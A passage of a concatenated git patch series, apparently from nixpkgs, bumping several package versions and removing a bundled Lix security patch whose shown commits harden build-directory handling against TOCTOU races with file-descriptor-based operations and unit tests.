(fd == -1) - throw SysError("opening directory '%1%'", path); - AutoCloseDir dir(fdopendir(fd)); -@@ -371,7 +379,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b - checkInterrupt(); - std::string childName = dirent->d_name; - if (childName == "." || childName == "..") continue; -- _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed); -+ _deletePath(dirfd(dir.get()), path / childName, bytesFreed); - } - if (errno) throw SysError("reading directory '%1%'", path); - } -@@ -389,14 +397,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b - - static void _deletePath(const fs::path & path, uint64_t & bytesFreed) - { -- Path dir = dirOf(path.string()); -- if (dir == "") -- dir = "/"; -+ assert(path.is_absolute()); -+ assert(path.parent_path() != path); - -- AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY)); -+ AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY)); - if (!dirfd) { - if (errno == ENOENT) return; -- throw SysError("opening directory '%1%'", path); -+ throw SysError("opening directory %s", path.parent_path()); - } - - _deletePath(dirfd.get(), path, bytesFreed); -diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh -index ed1112c7e..32b84456d 100644 ---- a/src/libutil/file-system.hh -+++ b/src/libutil/file-system.hh -@@ -148,12 +148,16 @@ Descriptor openDirectory(const std::filesystem::path & path); - std::string readFile(const Path & path); - void readFile(const Path & path, Sink & sink); - -+enum struct FsSync { Yes, No }; -+ - /** - * Write a string to a file. - */ --void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); -+void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); -+ -+void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No); - --void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); -+void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); - - /** - * Flush a file's parent directory to disk --- -2.44.1 - From b3bcdb74980477c6d18cadd5f576ecd033b907dc Mon Sep 17 00:00:00 2001 From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com> Date: Tue, 24 Jun 2025 19:25:12 +0300 Subject: [PATCH 357/390] warp-terminal: 0.2025.06.18.08.11.stable_03 -> 0.2025.06.20.22.47.stable_05 Changelog: https://docs.warp.dev/getting-started/changelog#id-2025.06.20-v0.2025.06.20.22.47 --- pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json index 4182beae12c9..f94041720f7c 100644 --- a/pkgs/by-name/wa/warp-terminal/versions.json +++ b/pkgs/by-name/wa/warp-terminal/versions.json @@ -1,14 +1,14 @@ { "darwin": { - "hash": "sha256-wlFmfHBSwBh9UFq6by52fGYN2EftP793u3L57XSDDKQ=", - "version": "0.2025.06.18.08.11.stable_03" + "hash": "sha256-UJAirS6JFFLW0OsOYj8RNUfG85dRHnxXasNw2QHX1Xs=", + "version": "0.2025.06.20.22.47.stable_05" }, "linux_x86_64": { - "hash": "sha256-7CfqTRUMkqLXmJg7RQK0liVEhucMOgMtsJl4/lrg4XI=", - "version": "0.2025.06.18.08.11.stable_03" + "hash": "sha256-h0ODaO3SJcZAxFRFBYYjWXQYsRAemGizn/YA7AF36pw=", + "version": "0.2025.06.20.22.47.stable_05" }, "linux_aarch64": { - "hash": "sha256-iDXAchU/b2ApDsmV0dnkXI1o0VOaegYWz4DufHtPFJM=", - "version": "0.2025.06.18.08.11.stable_03" + "hash": "sha256-H4xldFBMpfu6UFGFA/IkA1zPFqhFN6abhfHTRdYNpGA=", + "version": "0.2025.06.20.22.47.stable_05" } } From 5c2cad16c820e8cf2527d5f14e7a7718b195eb18 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 16:54:13 +0000 Subject: [PATCH 358/390] vimix-gtk-themes: 2024-04-20 -> 2025-06-20 --- pkgs/by-name/vi/vimix-gtk-themes/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/vi/vimix-gtk-themes/package.nix b/pkgs/by-name/vi/vimix-gtk-themes/package.nix index 0680efbf689e..0231a5dccbd4 100644 --- a/pkgs/by-name/vi/vimix-gtk-themes/package.nix +++ b/pkgs/by-name/vi/vimix-gtk-themes/package.nix @@ -45,13 +45,13 @@ lib.checkListOfEnum "${pname}: theme variants" stdenvNoCC.mkDerivation rec { inherit pname; - version = "2024-04-20"; + version = "2025-06-20"; src = fetchFromGitHub { owner = "vinceliuice"; repo = "vimix-gtk-themes"; rev = version; - sha256 = "RbAdoix+UWKiLB+04YiPa0UwzO1fFLy56IG1MipmE+E="; + sha256 = "uRm6v+Zag4FO7nFVcHhZjVhOfdOeYBZYQym0IBR8+HU="; }; nativeBuildInputs = [ From dc3de2f7157e4d5c19f8d9ec5cc00253b5e33677 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 17:23:53 +0000 Subject: [PATCH 359/390] flexget: 3.16.5 -> 3.16.9 --- pkgs/by-name/fl/flexget/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/fl/flexget/package.nix b/pkgs/by-name/fl/flexget/package.nix index 3b76569ea978..23c013de264e 100644 --- a/pkgs/by-name/fl/flexget/package.nix +++ b/pkgs/by-name/fl/flexget/package.nix @@ -7,14 +7,14 @@ python3Packages.buildPythonApplication rec { pname = "flexget"; - version = "3.16.5"; + version = "3.16.9"; pyproject = true; src = fetchFromGitHub { owner = "Flexget"; repo = "Flexget"; tag = "v${version}"; - hash = "sha256-tmxVk74eqN4qIe7cJF5IIWe7aXIH3Q2vi1galTF+FbI="; + hash = "sha256-LXlv/nZhZtkyUYg7UknXIyYsjqtYEeHVSzfwgNnwgwY="; }; pythonRelaxDeps = true; From ad3c1c23429a18ab24714b74e72fef5a3fdac2da Mon Sep 17 00:00:00 2001 From: Alois Wohlschlager Date: Tue, 24 Jun 2025 19:09:30 +0200 Subject: [PATCH 360/390] lixPackageSets.git: 2.94.0-pre-20250621_242a228124f7 -> 2.94.0-pre-20250624_42e2bd045c9e --- pkgs/tools/package-management/lix/default.nix | 10 +- .../LIX_HEAD_CVE-2025-46415_46416.patch | 2363 ----------------- 2 files changed, 3 insertions(+), 2370 deletions(-) delete mode 100644 pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix index b348407056f3..6df8255dd7ea 100644 --- a/pkgs/tools/package-management/lix/default.nix +++ b/pkgs/tools/package-management/lix/default.nix @@ -238,14 +238,14 @@ lib.makeExtensible (self: { attrName = "git"; lix-args = rec { - version = "2.94.0-pre-20250621_${builtins.substring 0 12 src.rev}"; + version = "2.94.0-pre-20250624_${builtins.substring 0 12 src.rev}"; src = fetchFromGitea { domain = "git.lix.systems"; owner = "lix-project"; repo = "lix"; - rev = "242a228124f77b57c2e3b3aedb259ffb7913cd3c"; - hash = "sha256-hCbhc9P+UmIlYv81+vs6v3bDqviCUhwPH3XqClZdfSk="; + rev = "42e2bd045c9e51a59fdab038dc4e6f9e86c4922c"; + hash = "sha256-BsY8kpwQML9/036g9C+No7lhzqmn4ZTlIsuo92SVSJk="; }; cargoDeps = rustPlatform.fetchCargoVendor { @@ -253,10 +253,6 @@ lib.makeExtensible (self: { inherit src; hash = "sha256-YMyNOXdlx0I30SkcmdW/6DU0BYc3ZOa2FMJSKMkr7I8="; }; - - patches = [ - ./patches/LIX_HEAD_CVE-2025-46415_46416.patch - ]; }; }; diff --git a/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch b/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch deleted file mode 100644 index 130aa2e5eaf3..000000000000 --- a/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch +++ /dev/null @@ -1,2363 +0,0 @@ -From c7976e63a3d93386b2811dba2b92ba452c561696 Mon Sep 17 00:00:00 2001 -From: Raito Bezarius -Date: Wed, 26 Mar 2025 01:04:12 +0100 -Subject: [SECURITY FIX 01/12] libutil: guess or invent a path from file - descriptors - -This is useful for certain error recovery paths (no pun intended) that -does not thread through the original path name. - -Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e -Signed-off-by: Raito Bezarius ---- - lix/libutil/file-descriptor.cc | 23 ++++++++++ - lix/libutil/file-descriptor.hh | 18 ++++++++ - meson.build | 5 +++ - tests/unit/libutil/tests.cc | 81 ++++++++++++++++++++++++++++++++++ - 4 files changed, 127 insertions(+) - -diff --git a/lix/libutil/file-descriptor.cc b/lix/libutil/file-descriptor.cc -index 39a4e0bdd..83496b6a6 100644 ---- a/lix/libutil/file-descriptor.cc -+++ b/lix/libutil/file-descriptor.cc -@@ -155,6 +155,29 @@ int AutoCloseFD::get() const - return fd; - } - -+std::string guessOrInventPathFromFD(int fd) -+{ -+ assert(fd >= 0); -+ /* On Linux, there's no F_GETPATH available. -+ * But we can read /proc/ */ -+#if __linux__ -+ try { -+ return readLink(fmt("/proc/self/fd/%1%", fd).c_str()); -+ } catch (...) { -+ } -+#elif defined (HAVE_F_GETPATH) && HAVE_F_GETPATH -+ std::string fdName(PATH_MAX, '\0'); -+ if (fcntl(fd, F_GETPATH, fdName.data()) != -1) { -+ fdName.resize(strlen(fdName.c_str())); -+ return fdName; -+ } -+#else -+#error "No implementation for retrieving file descriptors path." -+#endif -+ -+ return fmt("", fd); -+} -+ - - void AutoCloseFD::close() - { -diff --git a/lix/libutil/file-descriptor.hh b/lix/libutil/file-descriptor.hh -index 5331751cb..6c1c698fc 100644 ---- a/lix/libutil/file-descriptor.hh -+++ b/lix/libutil/file-descriptor.hh -@@ -36,6 +36,15 @@ void writeFull(int fd, std::string_view s, bool allowInterrupts = true); - */ - std::string drainFD(int fd, bool block = true, const size_t reserveSize=0); - -+ -+/* -+ * Will attempt to guess *A* path associated that might lead to the same file as used by this -+ * file descriptor. -+ * -+ * The returned string should NEVER be used as a valid path. -+ */ -+std::string guessOrInventPathFromFD(int fd); -+ - Generator drainFDSource(int fd, bool block = true); - - class AutoCloseFD -@@ -50,6 +59,15 @@ public: - AutoCloseFD& operator =(const AutoCloseFD & fd) = delete; - AutoCloseFD& operator =(AutoCloseFD&& fd) noexcept(false); - int get() const; -+ -+ /* -+ * Will attempt to guess *A* path associated that might lead to the same file as used by this -+ * file descriptor. -+ * -+ * The returned string should NEVER be used as a valid path. -+ */ -+ std::string guessOrInventPath() const { return guessOrInventPathFromFD(fd); } -+ - explicit operator bool() const; - int release(); - void close(); -diff --git a/meson.build b/meson.build -index f0443bbd1..92b4c05ec 100644 ---- a/meson.build -+++ b/meson.build -@@ -266,6 +266,11 @@ configdata += { - 'HAVE_SECCOMP': seccomp.found().to_int(), - } - -+# fcntl(F_GETPATH) returns the path of an fd on macOS and BSDs -+configdata += { -+ 'HAVE_F_GETPATH': cxx.has_header_symbol('fcntl.h', 'F_GETPATH').to_int(), -+} -+ - libarchive = dependency('libarchive', required : true, include_type : 'system') - - brotli = [ -diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc -index 3b865cb82..263fd7834 100644 ---- a/tests/unit/libutil/tests.cc -+++ b/tests/unit/libutil/tests.cc -@@ -3,6 +3,8 @@ - #include "lix/libutil/strings.hh" - #include "lix/libutil/types.hh" - #include "lix/libutil/terminal.hh" -+#include "lix/libutil/unix-domain-socket.hh" -+#include "tests/test-data.hh" - - #include - -@@ -207,6 +209,85 @@ namespace nix { - ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes")); - } - -+ /* ---------------------------------------------------------------------------- -+ * AutoCloseFD::guessOrInventPath -+ * --------------------------------------------------------------------------*/ -+ void testGuessOrInventPathPrePostDeletion(AutoCloseFD & fd, Path & path) { -+ { -+ SCOPED_TRACE(fmt("guessing path before deletion of '%1%'", path)); -+ ASSERT_TRUE(fd); -+ /* We cannot predict what the platform will return here. -+ * But it cannot fail. */ -+ ASSERT_TRUE(fd.guessOrInventPath().size() >= 0); -+ } -+ { -+ SCOPED_TRACE(fmt("guessing path after deletion of '%1%'", path)); -+ deletePath(path); -+ /* We cannot predict what the platform will return here. -+ * But it cannot fail. */ -+ ASSERT_TRUE(fd.guessOrInventPath().size() >= 0); -+ } -+ } -+ TEST(guessOrInventPath, files) { -+ Path filePath = getUnitTestDataPath("guess-or-invent/test.txt"); -+ createDirs(dirOf(filePath)); -+ writeFile(filePath, "some text"); -+ AutoCloseFD file{open(filePath.c_str(), O_RDONLY, 0666)}; -+ testGuessOrInventPathPrePostDeletion(file, filePath); -+ } -+ -+ TEST(guessOrInventPath, directories) { -+ Path dirPath = getUnitTestDataPath("guess-or-invent/test-dir"); -+ createDirs(dirPath); -+ AutoCloseFD directory{open(dirPath.c_str(), O_DIRECTORY, 0666)}; -+ testGuessOrInventPathPrePostDeletion(directory, dirPath); -+ } -+ -+#ifdef O_PATH -+ TEST(guessOrInventPath, symlinks) { -+ Path symlinkPath = getUnitTestDataPath("guess-or-invent/test-symlink"); -+ Path targetPath = getUnitTestDataPath("guess-or-invent/nowhere"); -+ createDirs(dirOf(symlinkPath)); -+ createSymlink(targetPath, symlinkPath); -+ AutoCloseFD symlink{open(symlinkPath.c_str(), O_PATH | O_NOFOLLOW, 0666)}; -+ testGuessOrInventPathPrePostDeletion(symlink, symlinkPath); -+ } -+ -+ TEST(guessOrInventPath, fifos) { -+ Path fifoPath = getUnitTestDataPath("guess-or-invent/fifo"); -+ createDirs(dirOf(fifoPath)); -+ ASSERT_TRUE(mkfifo(fifoPath.c_str(), 0666) == 0); -+ AutoCloseFD fifo{open(fifoPath.c_str(), O_PATH | O_NOFOLLOW, 0666)}; -+ testGuessOrInventPathPrePostDeletion(fifo, fifoPath); -+ } -+#endif -+ -+ TEST(guessOrInventPath, pipes) { -+ int pipefd[2]; -+ -+ ASSERT_TRUE(pipe(pipefd) == 0); -+ -+ AutoCloseFD pipe_read{pipefd[0]}; -+ ASSERT_TRUE(pipe_read); -+ AutoCloseFD pipe_write{pipefd[1]}; -+ ASSERT_TRUE(pipe_write); -+ -+ /* We cannot predict what the platform will return here. -+ * But it cannot fail. */ -+ ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0); -+ ASSERT_TRUE(pipe_write.guessOrInventPath().size() >= 0); -+ pipe_write.close(); -+ ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0); -+ pipe_read.close(); -+ } -+ -+ TEST(guessOrInventPath, sockets) { -+ Path socketPath = getUnitTestDataPath("guess-or-invent/socket"); -+ createDirs(dirOf(socketPath)); -+ AutoCloseFD socket = createUnixDomainSocket(socketPath, 0666); -+ testGuessOrInventPathPrePostDeletion(socket, socketPath); -+ } -+ - /* ---------------------------------------------------------------------------- - * concatStringsSep - * --------------------------------------------------------------------------*/ --- -2.49.0 - - -From bcf1f27fec3b18c33e7b76384cebd95b105f9357 Mon Sep 17 00:00:00 2001 -From: Raito Bezarius -Date: Wed, 26 Mar 2025 01:04:59 +0100 -Subject: [SECURITY FIX 02/12] libstore: open build directory as a dirfd as - well - -We now keep around a proper AutoCloseFD around the temporary directory -which we plan to use for openat operations and avoiding the build -directory being swapped out while we are doing something else. - -Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a -Signed-off-by: Raito Bezarius ---- - lix/libstore/build/local-derivation-goal.cc | 5 +++++ - lix/libstore/build/local-derivation-goal.hh | 5 +++++ - 2 files changed, 10 insertions(+) - -diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc -index 5de4fdec5..fc6e925f3 100644 ---- a/lix/libstore/build/local-derivation-goal.cc -+++ b/lix/libstore/build/local-derivation-goal.cc -@@ -441,6 +441,11 @@ try { - false, - 0700 - ); -+ /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to -+ * POSIX semantics.*/ -+ tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)}; -+ if (!tmpDirFd) -+ throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); - - chownToBuilder(tmpDir); - -diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh -index ec874ecea..5b9051ede 100644 ---- a/lix/libstore/build/local-derivation-goal.hh -+++ b/lix/libstore/build/local-derivation-goal.hh -@@ -42,6 +42,11 @@ struct LocalDerivationGoal : public DerivationGoal - */ - Path tmpDir; - -+ /** -+ * The temporary directory file descriptor -+ */ -+ AutoCloseFD tmpDirFd; -+ - /** - * The path of the temporary directory in the sandbox. - */ --- -2.49.0 - - -From 10509774edf5f6cae9a17ff9b656e4fb42c996f8 Mon Sep 17 00:00:00 2001 -From: Raito Bezarius -Date: Wed, 26 Mar 2025 01:05:34 +0100 -Subject: [SECURITY FIX 03/12] libstore: chown to builder variant for file - descriptors - -We use it immediately for the build temporary directory. - -Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947 -Signed-off-by: Raito Bezarius ---- - lix/libstore/build/local-derivation-goal.cc | 9 ++++++++- - lix/libstore/build/local-derivation-goal.hh | 10 +++++++++- - 2 files changed, 17 insertions(+), 2 deletions(-) - -diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc -index fc6e925f3..6d93c6841 100644 ---- a/lix/libstore/build/local-derivation-goal.cc -+++ b/lix/libstore/build/local-derivation-goal.cc -@@ -447,7 +447,7 @@ try { - if (!tmpDirFd) - throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); - -- chownToBuilder(tmpDir); -+ chownToBuilder(tmpDirFd); - - for (auto & [outputName, status] : initialOutputs) { - /* Set scratch path we'll actually use during the build. -@@ -931,6 +931,13 @@ void LocalDerivationGoal::chownToBuilder(const Path & path) - throw SysError("cannot change ownership of '%1%'", path); - } - -+void LocalDerivationGoal::chownToBuilder(const AutoCloseFD & fd) -+{ -+ if (!buildUser) return; -+ if (fchown(fd.get(), buildUser->getUID(), buildUser->getGID()) == -1) -+ throw SysError("cannot change ownership of file '%1%'", fd.guessOrInventPath()); -+} -+ - - void LocalDerivationGoal::runChild() - { -diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh -index 5b9051ede..eb2fe50f3 100644 ---- a/lix/libstore/build/local-derivation-goal.hh -+++ b/lix/libstore/build/local-derivation-goal.hh -@@ -202,10 +202,18 @@ struct LocalDerivationGoal : public DerivationGoal - kj::Promise> writeStructuredAttrs(); - - /** -- * Make a file owned by the builder. -+ * Make a file owned by the builder addressed by its path. -+ * -+ * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor. -+ * It's only safe to call in a child of a directory only visible to the owner. - */ - void chownToBuilder(const Path & path); - -+ /** -+ * Make a file owned by the builder addressed by its file descriptor. -+ */ -+ void chownToBuilder(const AutoCloseFD & fd); -+ - int getChildStatus() override; - - /** --- -2.49.0 - - -From ee8382a01253059b8680d041b860b361cbde6192 Mon Sep 17 00:00:00 2001 -From: Raito Bezarius -Date: Wed, 26 Mar 2025 01:06:03 +0100 -Subject: [SECURITY FIX 04/12] libutil: writeFile variant for file descriptors - -`writeFile` lose its `sync` boolean flag to make things simpler. - -A new `writeFileAndSync` function is created and all call sites are -converted to it. - -Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192 -Signed-off-by: Raito Bezarius ---- - lix/libstore/local-store.cc | 4 +-- - lix/libutil/file-system.cc | 50 ++++++++++++++++++++++++++----------- - lix/libutil/file-system.hh | 22 ++++++++-------- - 3 files changed, 49 insertions(+), 27 deletions(-) - -diff --git a/lix/libstore/local-store.cc b/lix/libstore/local-store.cc -index 3d75be2f4..1d4ba8665 100644 ---- a/lix/libstore/local-store.cc -+++ b/lix/libstore/local-store.cc -@@ -224,7 +224,7 @@ void LocalStore::initDB(DBState & state) - else if (curSchema == 0) { /* new store */ - curSchema = nixSchemaVersion; - openDB(state, true); -- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); -+ writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666); - } - - else if (curSchema < nixSchemaVersion) { -@@ -277,7 +277,7 @@ void LocalStore::initDB(DBState & state) - txn.commit(); - } - -- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); -+ writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666); - - lockFile(globalLock.get(), ltRead, always_progresses); - } -diff --git a/lix/libutil/file-system.cc b/lix/libutil/file-system.cc -index 47fc2f7ba..0fe70d938 100644 ---- a/lix/libutil/file-system.cc -+++ b/lix/libutil/file-system.cc -@@ -358,28 +358,49 @@ Generator readFileSource(const Path & path) - }(std::move(fd)); - } - --void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync, bool allowInterrupts) -+void writeFile(const Path & path, std::string_view s, mode_t mode, bool allowInterrupts) - { - AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)}; - if (!fd) - throw SysError("opening file '%1%'", path); -+ -+ writeFile(fd, s, mode, allowInterrupts); -+ -+ /* Close explicitly to propagate the exceptions. */ -+ fd.close(); -+} -+ -+void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode, bool allowInterrupts) -+{ -+ assert(fd); - try { - writeFull(fd.get(), s, allowInterrupts); - } catch (Error & e) { -- e.addTrace({}, "writing file '%1%'", path); -+ e.addTrace({}, "writing file '%1%'", fd.guessOrInventPath()); - throw; - } -- if (sync) -- fd.fsync(); -- // Explicitly close to make sure exceptions are propagated. -- fd.close(); -- if (sync) -- syncParent(path); - } - --void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode, bool sync) -+void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode) -+{ -+ writeFile(path, s, mode, false); -+} -+ -+void writeFileAndSync(const Path & path, std::string_view s, mode_t mode) - { -- writeFile(path, s, mode, sync, false); -+ { -+ AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)}; -+ if (!fd) { -+ throw SysError("opening file '%1%'", path); -+ } -+ -+ writeFile(fd, s, mode); -+ fd.fsync(); -+ /* Close explicitly to ensure that exceptions are propagated. */ -+ fd.close(); -+ } -+ -+ syncParent(path); - } - - static AutoCloseFD openForWrite(const Path & path, mode_t mode) -@@ -400,7 +421,7 @@ static void closeForWrite(const Path & path, AutoCloseFD & fd, bool sync) - syncParent(path); - } - --void writeFile(const Path & path, Source & source, mode_t mode, bool sync) -+void writeFile(const Path & path, Source & source, mode_t mode) - { - AutoCloseFD fd = openForWrite(path, mode); - -@@ -417,11 +438,10 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync) - e.addTrace({}, "writing file '%1%'", path); - throw; - } -- closeForWrite(path, fd, sync); -+ closeForWrite(path, fd, false); - } - --kj::Promise> --writeFile(const Path & path, AsyncInputStream & source, mode_t mode, bool sync) -+kj::Promise> writeFile(const Path & path, AsyncInputStream & source, mode_t mode) - try { - AutoCloseFD fd = openForWrite(path, mode); - -@@ -439,7 +459,7 @@ try { - e.addTrace({}, "writing file '%1%'", path); - throw; - } -- closeForWrite(path, fd, sync); -+ closeForWrite(path, fd, false); - co_return result::success(); - } catch (...) { - co_return result::current_exception(); -diff --git a/lix/libutil/file-system.hh b/lix/libutil/file-system.hh -index 7d76b4fd0..a6267825d 100644 ---- a/lix/libutil/file-system.hh -+++ b/lix/libutil/file-system.hh -@@ -190,19 +190,21 @@ Generator readFileSource(const Path & path); - * Write a string to a file. - */ - void writeFile( -- const Path & path, -- std::string_view s, -- mode_t mode = 0666, -- bool sync = false, -- bool allowInterrupts = true --); --void writeFileUninterruptible( -- const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false -+ const Path & path, std::string_view s, mode_t mode = 0666, bool allowInterrupts = true - ); -+void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode = 0666); -+void writeFile(const Path & path, Source & source, mode_t mode = 0666); - --void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); -+void writeFile( -+ AutoCloseFD & fd, std::string_view s, mode_t mode = 0666, bool allowInterrupts = false -+); - kj::Promise> --writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666, bool sync = false); -+writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666); -+ -+/** -+ * Write a string to a file and flush the file and its parents direcotry to disk. -+ */ -+void writeFileAndSync(const Path & path, std::string_view s, mode_t mode = 0666); - - /** - * Flush a file's parent directory to disk --- -2.49.0 - - -From 8b93c4c17a7eabf7bdfd71da2bbe41454be96adb Mon Sep 17 00:00:00 2001 -From: Raito Bezarius -Date: Wed, 26 Mar 2025 01:07:47 +0100 -Subject: [SECURITY FIX 05/12] libstore: ensure that `passAsFile` is created in - the original temp dir - -This ensures that `passAsFile` data is created inside the expected -temporary build directory by `openat()` from the parent directory file -descriptor. - -This avoids a TOCTOU which is part of the attack chain of CVE-????. - -Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a -Signed-off-by: Raito Bezarius ---- - lix/libstore/build/local-derivation-goal.cc | 9 +++++++-- - 1 file changed, 7 insertions(+), 2 deletions(-) - -diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc -index 6d93c6841..c33bd8283 100644 ---- a/lix/libstore/build/local-derivation-goal.cc -+++ b/lix/libstore/build/local-derivation-goal.cc -@@ -814,8 +814,13 @@ void LocalDerivationGoal::initTmpDir() { - auto hash = hashString(HashType::SHA256, i.first); - std::string fn = ".attr-" + hash.to_string(Base::Base32, false); - Path p = tmpDir + "/" + fn; -- writeFile(p, rewriteStrings(i.second, inputRewrites)); -- chownToBuilder(p); -+ /* TODO(jade): we should have BorrowedFD instead of OwnedFD. */ -+ AutoCloseFD passAsFileFd{openat(tmpDirFd.get(), fn.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)}; -+ if (!passAsFileFd) { -+ throw SysError("opening `passAsFile` file in the sandbox '%1%'", p); -+ } -+ writeFile(passAsFileFd, rewriteStrings(i.second, inputRewrites)); -+ chownToBuilder(passAsFileFd); - env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; - } - } --- -2.49.0 - - -From d092cfa499fad3c661c7f07d2b5e0150b936db8e Mon Sep 17 00:00:00 2001 -From: Raito Bezarius -Date: Wed, 26 Mar 2025 12:42:55 +0100 -Subject: [SECURITY FIX 06/12] libutil: ensure that `_deletePath` does NOT use - absolute paths with dirfds - -When calling `_deletePath` with a parent file descriptor, `openat` is -made effective by using relative paths to the directory file descriptor. - -To avoid the problem, the signature is changed to resist misuse with an -assert in the prologue of the function. - -Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 -Signed-off-by: Raito Bezarius ---- - lix/libutil/file-system.cc | 36 ++++++++++++++++++++++++------------ - 1 file changed, 24 insertions(+), 12 deletions(-) - -diff --git a/lix/libutil/file-system.cc b/lix/libutil/file-system.cc -index 0fe70d938..1b71caeb1 100644 ---- a/lix/libutil/file-system.cc -+++ b/lix/libutil/file-system.cc -@@ -473,18 +473,29 @@ void syncParent(const Path & path) - fd.fsync(); - } - --static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed, bool interruptible) -+/* TODO(horrors): a better structure that links all parent fds for the traversal root -+ * should be considered for this code -+ */ -+static void _deletePath(int parentfd, const std::string & name, uint64_t & bytesFreed, bool interruptible) - { -+ /* This ensures that `name` is an immediate child of `parentfd`. */ -+ assert(!name.empty() && name.find('/') == std::string::npos && "`name` is an immediate child to `parentfd`"); -+ - if (interruptible) { - checkInterrupt(); - } - -- std::string name(baseNameOf(path)); -+ /* FIXME(horrors): there's a minor TOCTOU here. -+ * we fstatat the inode nofollow, check if this is a directory -+ * and then open it. -+ * a better alternative is open it as O_PATH as a namefd. -+ * if it's a directory, it can be openat with the namefd. -+ */ - - struct stat st; - if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) { - if (errno == ENOENT) return; -- throw SysError("getting status of '%1%'", path); -+ throw SysError("getting status of '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); - } - - if (!S_ISDIR(st.st_mode)) { -@@ -515,24 +526,25 @@ static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed, - /* Make the directory accessible. */ - const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR; - if ((st.st_mode & PERM_MASK) != PERM_MASK) { -- if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) -- throw SysError("chmod '%1%'", path); -+ if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) { -+ throw SysError("chmod '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); -+ } - } - -- int fd = openat(parentfd, path.c_str(), O_RDONLY); -+ int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW); - if (fd == -1) -- throw SysError("opening directory '%1%'", path); -+ throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); - AutoCloseDir dir(fdopendir(fd)); - if (!dir) -- throw SysError("opening directory '%1%'", path); -- for (auto & i : readDirectory(dir.get(), path, interruptible)) -- _deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed, interruptible); -+ throw SysError("opening directory '%1%' in directory '%2%'", name, 